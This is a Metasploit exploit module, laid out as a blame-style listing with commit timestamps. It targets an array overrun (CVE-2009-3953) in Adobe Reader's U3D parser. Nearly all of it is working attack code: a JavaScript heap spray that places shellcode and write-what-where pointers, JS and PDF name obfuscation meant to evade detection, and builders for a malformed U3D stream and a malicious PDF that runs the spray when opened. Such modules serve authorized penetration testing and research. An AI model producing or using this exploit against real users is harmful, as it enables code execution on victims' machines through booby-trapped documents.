2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2009-11-25 22:24:10 +00:00
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'zlib'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-11-25 22:24:10 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
|
2010-01-25 14:22:13 +00:00
|
|
|
Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
|
|
|
|
specially crafted pdf that a contains malformed U3D data, an attacker may
|
2009-11-25 22:24:10 +00:00
|
|
|
be able to execute arbitrary code.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
|
|
|
|
'jduck'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-01-25 14:22:13 +00:00
|
|
|
[ 'CVE', '2009-3953' ],
|
|
|
|
[ 'OSVDB', '61690' ],
|
|
|
|
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
|
2009-11-25 22:24:10 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
2010-09-25 11:59:02 +00:00
|
|
|
'DisablePayloadHandler' => 'true',
|
2009-11-25 22:24:10 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# test results (on Windows XP SP3)
|
|
|
|
# reader 7.0.5 - untested
|
|
|
|
# reader 7.0.8 - untested
|
|
|
|
# reader 7.0.9 - untested
|
|
|
|
# reader 7.1.0 - untested
|
|
|
|
# reader 7.1.1 - untested
|
|
|
|
# reader 8.0.0 - untested
|
2009-12-01 16:42:58 +00:00
|
|
|
# reader 8.1.2 - works
|
2009-12-08 22:08:32 +00:00
|
|
|
# reader 8.1.3 - not working :-/
|
2009-12-01 16:42:58 +00:00
|
|
|
# reader 8.1.4 - untested
|
|
|
|
# reader 8.1.5 - untested
|
|
|
|
# reader 8.1.6 - untested
|
2009-11-25 22:24:10 +00:00
|
|
|
# reader 9.0.0 - untested
|
|
|
|
# reader 9.1.0 - works
|
|
|
|
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
|
|
|
|
{
|
|
|
|
'Size' => (6500/20),
|
|
|
|
'DataAddr' => 0x09011020,
|
|
|
|
'WriteAddr' => 0x7c49fb34,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Oct 13 2009',
|
2009-11-25 22:24:10 +00:00
|
|
|
'DefaultTarget' => 0))
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
register_options(
|
2010-09-20 08:06:27 +00:00
|
|
|
[
|
2009-11-25 22:24:10 +00:00
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
|
|
|
], self.class)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
2009-11-25 22:24:10 +00:00
|
|
|
# Encode the shellcode.
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# Make some nops
|
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
=begin
|
|
|
|
|
|
|
|
Original notes on heap technique used in this exploit:
|
|
|
|
|
|
|
|
## PREPAREHOLES:
|
2010-01-25 14:22:13 +00:00
|
|
|
## We will construct 6500*20 bytes long chunks starting like this
|
2009-11-25 22:24:10 +00:00
|
|
|
## |0 |6 |8 |C |24 |size
|
|
|
|
## |00000... |0100|20100190|0000... | ......pad...... |
|
2010-01-25 14:22:13 +00:00
|
|
|
## \ \
|
2009-11-25 22:24:10 +00:00
|
|
|
## \ \ -Pointer: to controlled data
|
|
|
|
## \ -Flag: must be 1
|
|
|
|
## -Adobe will handle this ragged structure if the Flag is on.
|
2010-01-25 14:22:13 +00:00
|
|
|
## -Adobe will get 'what to write where' from the memory pointed
|
|
|
|
## by our supplied Pointer.
|
2009-11-25 22:24:10 +00:00
|
|
|
##
|
|
|
|
## then allocate a bunch of those ..
|
|
|
|
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
|
|
|
|
## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
|
|
|
|
##
|
|
|
|
## and then free some of them...
|
|
|
|
## .. | chunk | free | chunk | free | chunk | free | chunck | ..
|
|
|
|
## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|
|
|
|
|
##
|
2010-01-25 14:22:13 +00:00
|
|
|
## This way controlling when the next 6500*20 malloc will be
|
2009-11-25 22:24:10 +00:00
|
|
|
## followed with. We freed more than one hole so it became tolerant
|
|
|
|
## to some degree of malloc/free trace noise.
|
2010-01-25 14:22:13 +00:00
|
|
|
## Note the 6500 is arbitrary it should be a fairly unused chunk size
|
2009-11-25 22:24:10 +00:00
|
|
|
## not big enough to cause a different type of allocation.
|
2010-01-25 14:22:13 +00:00
|
|
|
## Also as we don't need to reference it from anywhere we don't care
|
2009-11-25 22:24:10 +00:00
|
|
|
## where this hole layout is placed in memory.
|
|
|
|
|
|
|
|
## PREPAREMEMORY:
|
2010-01-25 14:22:13 +00:00
|
|
|
## In the next technique we make a big-chunk of 0x10000 bytes
|
|
|
|
## repeating a 0x1000 bytes long mini-chunk of controled data.
|
|
|
|
## Big-chunks are always allocated aligned to 0x1000. And if we
|
|
|
|
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
|
2009-11-25 22:24:10 +00:00
|
|
|
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
|
|
|
|
## will have our mini chunk
|
|
|
|
##
|
|
|
|
## A mini-chunk will have this look
|
2010-01-25 14:22:13 +00:00
|
|
|
##
|
2009-11-25 22:24:10 +00:00
|
|
|
## |0 |10 |54 |? |0xff0 |0x1000
|
|
|
|
## |00000... | POINTERS | nops | shellcode | pad |
|
|
|
|
##
|
|
|
|
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
|
|
|
|
## But we use 0x09011064.
|
|
|
|
## POINTERS looks like this:
|
|
|
|
## ...
|
|
|
|
|
|
|
|
=end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# prepare the hole
|
|
|
|
daddr = target['DataAddr']
|
|
|
|
hole_data = [0,0,1,daddr].pack('VvvV')
|
|
|
|
#padding
|
|
|
|
hole_data << "\x00" * 24
|
|
|
|
hole = Rex::Text.to_unescape(hole_data)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# prepare ptrs
|
|
|
|
ptrs_data = [0].pack('V')
|
|
|
|
#where to write
|
|
|
|
ptrs_data << [target['WriteAddr'] / 4].pack('V')
|
|
|
|
#must be greater tan 5 and less than x for getting us where we want
|
|
|
|
ptrs_data << [6].pack('V')
|
|
|
|
#what to write
|
|
|
|
ptrs_data << [(daddr+0x10)].pack('V')
|
|
|
|
#autopointer for print magic(tm)
|
|
|
|
ptrs_data << [(daddr+0x14)].pack('V')
|
2010-01-25 14:22:13 +00:00
|
|
|
#function pointers for print magic(tm)
|
2009-11-25 22:24:10 +00:00
|
|
|
#pointing to our shellcode
|
|
|
|
ptrs_data << [(daddr+0x44)].pack('V') * 12
|
|
|
|
ptrs = Rex::Text.to_unescape(ptrs_data)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
js_doc = <<-EOF
|
|
|
|
function prepareHoles(slide_size)
|
|
|
|
{
|
|
|
|
var size = 1000;
|
|
|
|
var xarr = new Array(size);
|
|
|
|
var hole = unescape("#{hole}");
|
|
|
|
var pad = unescape("%u5858");
|
|
|
|
while (pad.length <= slide_size/2 - hole.length)
|
|
|
|
pad += pad;
|
|
|
|
for (loop1=0; loop1 < size; loop1+=1)
|
|
|
|
{
|
|
|
|
ident = ""+loop1;
|
2009-11-25 22:24:10 +00:00
|
|
|
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
|
2010-09-20 08:06:27 +00:00
|
|
|
}
|
|
|
|
for (loop2=0;loop2<100;loop2++)
|
|
|
|
{
|
|
|
|
for (loop1=size/2; loop1 < size-2; loop1+=2)
|
2009-11-25 22:24:10 +00:00
|
|
|
{
|
2010-09-20 08:06:27 +00:00
|
|
|
xarr[loop1]=null;
|
|
|
|
xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
|
|
|
|
xarr[loop1]=null;
|
2009-11-25 22:24:10 +00:00
|
|
|
}
|
2010-09-20 08:06:27 +00:00
|
|
|
}
|
|
|
|
return xarr;
|
|
|
|
}
|
|
|
|
|
|
|
|
function prepareMemory(size)
|
|
|
|
{
|
|
|
|
var mini_slide_size = 0x1000;
|
|
|
|
var slide_size = 0x100000;
|
|
|
|
var xarr = new Array(size);
|
|
|
|
var pad = unescape("%ucccc");
|
|
|
|
|
|
|
|
while (pad.length <= 32 )
|
|
|
|
pad += pad;
|
|
|
|
|
|
|
|
var nops = unescape("#{nops}");
|
|
|
|
while (nops.length <= mini_slide_size/2 - nops.length)
|
|
|
|
nops += nops;
|
|
|
|
|
|
|
|
var shellcode = unescape("#{shellcode}");
|
|
|
|
var pointers = unescape("#{ptrs}");
|
|
|
|
var chunk = nops.substring(0,32/2) + pointers +
|
2009-11-25 22:24:10 +00:00
|
|
|
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
|
|
|
|
shellcode + pad.substring(0,32/2);
|
2010-09-20 08:06:27 +00:00
|
|
|
chunk=chunk.substring(0,mini_slide_size/2);
|
|
|
|
while (chunk.length <= slide_size/2)
|
|
|
|
chunk += chunk;
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
for (loop1=0; loop1 < size; loop1+=1)
|
|
|
|
{
|
|
|
|
ident = ""+loop1;
|
2009-11-25 22:24:10 +00:00
|
|
|
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
|
2010-09-20 08:06:27 +00:00
|
|
|
}
|
|
|
|
return xarr;
|
|
|
|
}
|
|
|
|
|
|
|
|
var mem = prepareMemory(200);
|
|
|
|
var holes = prepareHoles(6500);
|
|
|
|
this.pageNum = 1;
|
|
|
|
EOF
|
2009-12-23 12:50:55 +00:00
|
|
|
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# Obfuscate it up a bit
|
|
|
|
js_doc = obfuscate_js(js_doc,
|
|
|
|
'Symbols' => {
|
|
|
|
'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
|
|
|
|
'Methods' => %W{ prepareMemory prepareHoles }
|
|
|
|
}).to_s
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# create the u3d stuff
|
2009-11-26 06:21:39 +00:00
|
|
|
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# Create the pdf
|
|
|
|
pdf = make_pdf(u3d, js_doc, js_pg1)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
2009-11-25 22:24:10 +00:00
|
|
|
|
|
|
|
file_create(pdf)
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
def obfuscate_js(javascript, opts)
|
|
|
|
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
|
|
|
|
js.obfuscate
|
|
|
|
return js
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
def RandomNonASCIIString(count)
|
|
|
|
result = ""
|
|
|
|
count.times do
|
|
|
|
result << (rand(128) + 128).chr
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
def ioDef(id)
|
|
|
|
"%d 0 obj\n" % id
|
|
|
|
end
|
|
|
|
|
|
|
|
def ioRef(id)
|
|
|
|
"%d 0 R" % id
|
|
|
|
end
|
|
|
|
|
|
|
|
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
|
|
|
def nObfu(str)
|
|
|
|
|
|
|
|
result = ""
|
|
|
|
str.scan(/./u) do |c|
|
|
|
|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
|
|
|
result << "#%x" % c.unpack("C*")[0]
|
|
|
|
else
|
|
|
|
result << c
|
|
|
|
end
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
def ASCIIHexWhitespaceEncode(str)
|
|
|
|
result = ""
|
|
|
|
whitespace = ""
|
|
|
|
str.each_byte do |b|
|
|
|
|
result << whitespace << "%02x" % b
|
|
|
|
whitespace = " " * (rand(3) + 1)
|
|
|
|
end
|
|
|
|
result << ">"
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 04:42:42 +00:00
|
|
|
def u3d_pad(str, char="\x00")
|
2009-11-26 00:34:22 +00:00
|
|
|
ret = ""
|
2009-11-26 06:21:39 +00:00
|
|
|
if (str.length % 4) > 0
|
2009-11-26 00:34:22 +00:00
|
|
|
ret << char * (4 - (str.length % 4))
|
|
|
|
end
|
|
|
|
return ret
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
|
|
|
|
2009-11-26 04:42:42 +00:00
|
|
|
def make_u3d_stream(size, meshname)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 00:34:22 +00:00
|
|
|
# build the U3D header
|
2009-11-26 04:42:42 +00:00
|
|
|
hdr_data = [1,0].pack('n*') # version info
|
|
|
|
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
|
|
|
|
hdr = "U3D\x00"
|
|
|
|
hdr << [hdr_data.length,0].pack('VV')
|
2009-11-26 00:34:22 +00:00
|
|
|
hdr << hdr_data
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 00:34:22 +00:00
|
|
|
# mesh declaration
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data = [meshname.length].pack('v')
|
|
|
|
decl_data << meshname
|
|
|
|
decl_data << [0].pack('V') # chain idx
|
2009-11-26 00:34:22 +00:00
|
|
|
# max mesh desc
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [0].pack('V') # mesh attrs
|
|
|
|
decl_data << [1].pack('V') # face count
|
|
|
|
decl_data << [size].pack('V') # position count
|
|
|
|
decl_data << [4].pack('V') # normal count
|
|
|
|
decl_data << [0].pack('V') # diffuse color count
|
|
|
|
decl_data << [0].pack('V') # specular color count
|
|
|
|
decl_data << [0].pack('V') # texture coord count
|
|
|
|
decl_data << [1].pack('V') # shading count
|
2009-11-26 00:34:22 +00:00
|
|
|
# shading desc
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [0].pack('V') # shading attr
|
|
|
|
decl_data << [0].pack('V') # texture layer count
|
|
|
|
decl_data << [0].pack('V') # texture coord dimensions
|
2009-11-26 00:34:22 +00:00
|
|
|
# no textore coords (original shading ids)
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [size+2].pack('V') # minimum resolution
|
|
|
|
decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
|
2009-11-26 00:34:22 +00:00
|
|
|
# quality factors
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [0x12c].pack('V') # position quality factor
|
|
|
|
decl_data << [0x12c].pack('V') # normal quality factor
|
|
|
|
decl_data << [0x12c].pack('V') # texture coord quality factor
|
2009-11-26 00:34:22 +00:00
|
|
|
# inverse quantiziation
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [0].pack('V') # position inverse quant
|
|
|
|
decl_data << [0].pack('V') # normal inverse quant
|
|
|
|
decl_data << [0].pack('V') # texture coord inverse quant
|
|
|
|
decl_data << [0].pack('V') # diffuse color inverse quant
|
|
|
|
decl_data << [0].pack('V') # specular color inverse quant
|
2009-11-26 00:34:22 +00:00
|
|
|
# resource params
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [0].pack('V') # normal crease param
|
|
|
|
decl_data << [0].pack('V') # normal update param
|
|
|
|
decl_data << [0].pack('V') # normal tolerance param
|
2009-11-26 00:34:22 +00:00
|
|
|
# skeleton description
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_data << [0].pack('V') # bone count
|
2009-11-26 00:34:22 +00:00
|
|
|
# padding
|
2009-11-26 04:42:42 +00:00
|
|
|
decl_pad = u3d_pad(decl_data)
|
|
|
|
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
|
|
|
|
mesh_decl << decl_data
|
|
|
|
mesh_decl << decl_pad
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 04:42:42 +00:00
|
|
|
# build the modifier chain
|
|
|
|
chain_data = [meshname.length].pack('v')
|
|
|
|
chain_data << meshname
|
|
|
|
chain_data << [1].pack('V') # type (model resource)
|
|
|
|
chain_data << [0].pack('V') # attributes (no bounding info)
|
|
|
|
chain_data << u3d_pad(chain_data)
|
|
|
|
chain_data << [1].pack('V') # number of modifiers
|
|
|
|
chain_data << mesh_decl
|
|
|
|
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
|
|
|
|
modifier_chain << chain_data
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 00:34:22 +00:00
|
|
|
# mesh continuation
|
2009-11-26 04:42:42 +00:00
|
|
|
cont_data = [meshname.length].pack('v')
|
|
|
|
cont_data << meshname
|
2009-11-26 00:34:22 +00:00
|
|
|
cont_data << [0].pack('V') # chain idx
|
|
|
|
cont_data << [0].pack('V') # start resolution
|
2009-11-26 06:21:39 +00:00
|
|
|
cont_data << [0].pack('V') # end resolution
|
|
|
|
# no resolution update, unknown data follows
|
|
|
|
cont_data << [0].pack('V')
|
|
|
|
cont_data << [1].pack('V') * 10
|
2009-11-26 00:34:22 +00:00
|
|
|
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
|
|
|
|
mesh_cont << cont_data
|
2009-11-26 04:42:42 +00:00
|
|
|
mesh_cont << u3d_pad(cont_data)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 00:34:22 +00:00
|
|
|
data = hdr
|
|
|
|
data << modifier_chain
|
|
|
|
data << mesh_cont
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-26 00:34:22 +00:00
|
|
|
# patch the length
|
2009-11-26 04:42:42 +00:00
|
|
|
data[24,4] = [data.length].pack('V')
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
return data
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
def make_pdf(u3d_stream, js_doc, js_pg1)
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
xref = []
|
|
|
|
eol = "\x0a"
|
|
|
|
obj_end = "" << eol << "endobj" << eol
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# the header
|
|
|
|
pdf = "%PDF-1.7" << eol
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# filename/comment
|
|
|
|
pdf << "%" << RandomNonASCIIString(4) << eol
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# js stream (doc open action js)
|
2009-11-25 22:24:10 +00:00
|
|
|
xref << pdf.length
|
|
|
|
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
|
|
|
|
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
|
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << compressed << eol
|
|
|
|
pdf << "endstream" << eol
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# js stream 2 (page 1 annot js)
|
|
|
|
xref << pdf.length
|
|
|
|
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
|
|
|
|
pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
|
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << compressed << eol
|
|
|
|
pdf << "endstream" << eol
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# catalog
|
|
|
|
xref << pdf.length
|
2009-12-08 22:08:32 +00:00
|
|
|
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
|
|
|
|
pdf << nObfu("/Pages ") << ioRef(5)
|
|
|
|
pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
|
2009-11-25 22:24:10 +00:00
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# outline
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# pages/kids
|
2009-11-25 22:24:10 +00:00
|
|
|
xref << pdf.length
|
|
|
|
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
|
2009-12-08 22:08:32 +00:00
|
|
|
pdf << ioRef(10) << " " # empty page
|
|
|
|
pdf << ioRef(11) # u3d page
|
2009-11-25 22:24:10 +00:00
|
|
|
pdf << nObfu("]>>")
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# u3d stream
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
|
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << u3d_stream << eol
|
|
|
|
pdf << "endstream"
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# u3d annotation object
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
|
|
|
|
pdf << "/3D/3DA <</A/PO/DIS/I>>"
|
|
|
|
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# js dict (open action js)
|
2009-11-25 22:24:10 +00:00
|
|
|
xref << pdf.length
|
2009-12-08 22:08:32 +00:00
|
|
|
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# js dict (page 1 annot js)
|
2009-11-25 22:24:10 +00:00
|
|
|
xref << pdf.length
|
2009-12-08 22:08:32 +00:00
|
|
|
pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# page 0 (empty)
|
2009-11-25 22:24:10 +00:00
|
|
|
xref << pdf.length
|
2009-12-08 22:08:32 +00:00
|
|
|
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
|
|
|
|
pdf << nObfu(" >>")
|
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-12-08 22:08:32 +00:00
|
|
|
# page 1 (u3d/print)
|
2009-11-25 22:24:10 +00:00
|
|
|
xref << pdf.length
|
2009-12-08 22:08:32 +00:00
|
|
|
pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
|
|
|
|
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
|
|
|
|
pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
|
|
|
|
pdf << nObfu(">>")
|
2009-11-25 22:24:10 +00:00
|
|
|
pdf << obj_end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# xrefs
|
|
|
|
xrefPosition = pdf.length
|
|
|
|
pdf << "xref" << eol
|
|
|
|
pdf << "0 %d" % (xref.length + 1) << eol
|
|
|
|
pdf << "0000000000 65535 f" << eol
|
|
|
|
xref.each do |index|
|
|
|
|
pdf << "%010d 00000 n" % index << eol
|
|
|
|
end
|
2010-01-25 14:22:13 +00:00
|
|
|
|
2009-11-25 22:24:10 +00:00
|
|
|
# trailer
|
|
|
|
pdf << "trailer" << eol
|
|
|
|
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
|
|
|
|
pdf << "startxref" << eol
|
|
|
|
pdf << xrefPosition.to_s() << eol
|
|
|
|
pdf << "%%EOF" << eol
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|